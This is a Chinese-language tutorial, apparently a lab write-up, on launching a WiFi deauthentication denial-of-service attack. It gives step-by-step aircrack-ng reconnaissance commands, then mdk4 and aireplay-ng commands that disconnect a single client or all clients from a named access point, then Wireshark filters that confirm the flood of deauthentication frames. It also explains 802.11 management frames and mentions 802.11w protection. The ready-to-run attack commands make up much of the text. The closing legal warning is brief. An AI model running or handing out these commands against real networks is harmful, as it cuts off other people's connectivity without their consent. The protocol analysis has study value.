对WiFi发动取消认证攻击（Deauthentication)

取消认证攻击是最简单的攻击手段之一，但破坏性奇高，可以轻易让无线网络环境瘫痪。

阶段一：信息收集

1. 查看网卡接口

```
ip addr
```

2. 检查并杀死冲突进程

```
airmon-ng check kill
```

3. 开启监听模式

```
airmon-ng start wlan0
```

4. 验证是否处于监听模式

```
airmon-ng
```

5. 获取目标AP信息

```
airodump-ng wlan0mon
```

目标AP:

```
ESSID:    TPGuest-77E0
BSSID:    82:8F:1D:FB:77:E0
Channel:  1
```

6. 针对该AP进行监听

```
airodump-ng --bssid 82:8F:1D:FB:77:E0 -c 1 wlan0mon
```

7. 获取所连接设备MAC（可选）

```
设备一：E0:DC:FF:CC:0E:91
设备二：18:01:F1:B2:B3:02
```

阶段二：发动攻击

1. mdk4（同时进行Deauthentication 和 Disassociation）

- 针对指定客户端

  ```
  mdk4 wlan0mon d -B 82:8F:1D:FB:77:E0 -c 1 -S E0:DC:FF:CC:0E:91
  ```

- 针对所有客户端

  ```
  mdk4 wlan0mon d -B 82:8F:1D:FB:77:E0 -c 1
  ```

2. aireplay-ng

- 针对指定客户端

  ```
  aireplay-ng --deauth 0 -a 82:8F:1D:FB:77:E0 -c E0:DC:FF:CC:0E:91 wlan0mon
  ```

- 针对所有客户端

  ```
  aireplay-ng --deauth 0 -a 82:8F:1D:FB:77:E0 wlan0mon
  ```

阶段三：抓包分析

> ## 相关知识：
>
> ### 1. 802.11 协议
>
> - 802.11 协议将所有的数据分为三种：
>   - 数据帧
>   - 管理帧
>   - 控制帧
> - 管理帧主要用来`STA`连接和断开无线网络,总共12个管理帧。
>   - Association request (subtype 0x0)
>   - Association response (subtype 0x1)
>   - Reassociation request (subtype 0x2)
>   - Reassociation response (subtype 0x3)
>   - Probe request (subtype 0x4)
>   - Probe response (subtype 0x5)
>   - Beacon (subtype 0x8)
>   - ATIM (subtype 0x9)
>   - Disassociation (subtype 0xa)
>   - Authentication (subtype 0xb)
>   - Deauthentication (subtype 0xc)
>   - Action (subtype 0xd)
>
> ### 2. WiFi连接交互过程：
>
> 1. `AP`广播发送Beacon（信标帧）
> 2. `STA`向`AP`发送携带有指定SSID的`Probe Request`（探测请求帧）
> 3. `AP`向`STA`发送`Probe Response`（探测回应帧）
> 4. `STA`对`AP`发送`Authentication Request`（认证请求帧）

    - `AP`向`STA`发送`Authentiction Response (Challenge)`（加密认证）
    - `STA`对`AP`发送`Authentication Response (Encrypted Challenge)`（加密认证）
5. `AP`向`STA`发送`Authentiction Response`（认证应答帧）
6. `STA`向`AP`发送`Association Request`（关联请求帧）
7. `AP`向`STA`发送`Association Response`（关联应答帧）

   *** 正常数据传输（浏览网页、看视屏等）***
8. `STA`向`AP`发送`Disassociation`（取消关联帧）

3. 根据协议，可以针对这一过程发起攻击

- `Deauthentication`攻击
    - 如果一个`STA`想要从`AP`取消认证，或者一个`AP`想要从`STA`取消认证，无论哪一个设备都可以发送取消认证帧。
    - 因为认证帧是关联帧的先决条件，所以取消认证帧会自动的导致取消关联发生。取消认证帧不能被任何一方拒绝，除非双方已经协商了管理帧保护协议（定义在`802.11w`），并且`MIC`完整性检查失败。
    - 结论：取消认证帧的发送会导致`STA`断开网络。
- `Disassociation`攻击
    - 一旦`STA`连接到`AP`,任何一方都可以通过发送取消连接帧来中断连接。它和取消认证帧有相同的帧格式。
    - 如果手动点击断开连接或者`STA`想要切换网络（比如漫游），那么`STA`就会发送取消连接帧。
    - 如果`STA`尝试发送不合法的参数，`AP`会发送取消连接帧。
    - 结论：取消连接帧的发送会导致`STA`断开网络。

1. mdk4攻击分析

1.1 开启抓包

- 打开`Wireshark`

- 选择网卡`wlan0mon`
- 双击开始抓包

1.2 发动攻击

- 针对设备一进行取消认证攻击

```
mdk4 wlan0mon d -B 82:8F:1D:FB:77:E0 -c 1 -S E0:DC:FF:CC:0E:91
```

- 停止攻击
- 停止抓包

1.3 数据包分析

通过显示过滤器来查看所需要的数据。

- 查看取消认证帧（Deauthentication）

```
wlan.fc.type_subtype == 12
```

> 发现网络中出现了大量的取消认证帧（Deauthentication)，三向发送（AP-->STA, STA-->AP, AP-->AP。暂不清楚AP-->AP产生原因及用处)。

- 查看取消关联帧（Disassociation）

```
wlan.fc.type_subtype == 10
```

> 发现网络中出现了大量的取消关联帧（Disassociation），三向发送（AP-->STA, STA-->AP, AP-->AP。暂不清楚AP-->AP产生原因及用处)。

2. aireplay-ng攻击分析

2.1 开启抓包

- 打开`Wireshark`
- 选择网卡`wlan0mon`
- 双击开始抓包

2.2 发动攻击

- 针对设备一进行取消认证攻击

```
aireplay-ng --deauth 0 -a 82:8F:1D:FB:77:E0 -c E0:DC:FF:CC:0E:91 wlan0mon
```

- 停止攻击
- 停止抓包

2.3 数据包分析

通过显示过滤器来查看所需要的数据。

- 查看取消认证帧（Deauthentication）

```
wlan.fc.type_subtype == 12
```

> 发现网络中出现了大量的取消认证帧（Deauthentication)，两个一组，双向发送。

- 查看取消关联帧（Disassociation）

```
wlan.fc.type_subtype == 10
```

> 网络中没有取消关联帧

3. 总结

进行取消认证攻击时网络中会出现大量取消认证帧。正是这些取消认证帧导致了设备一与`AP`断开。验证了以此方法进行拒绝服务攻击（DoS）的可行性。

攻击未授权的无线设备涉嫌违法，切勿以身试法。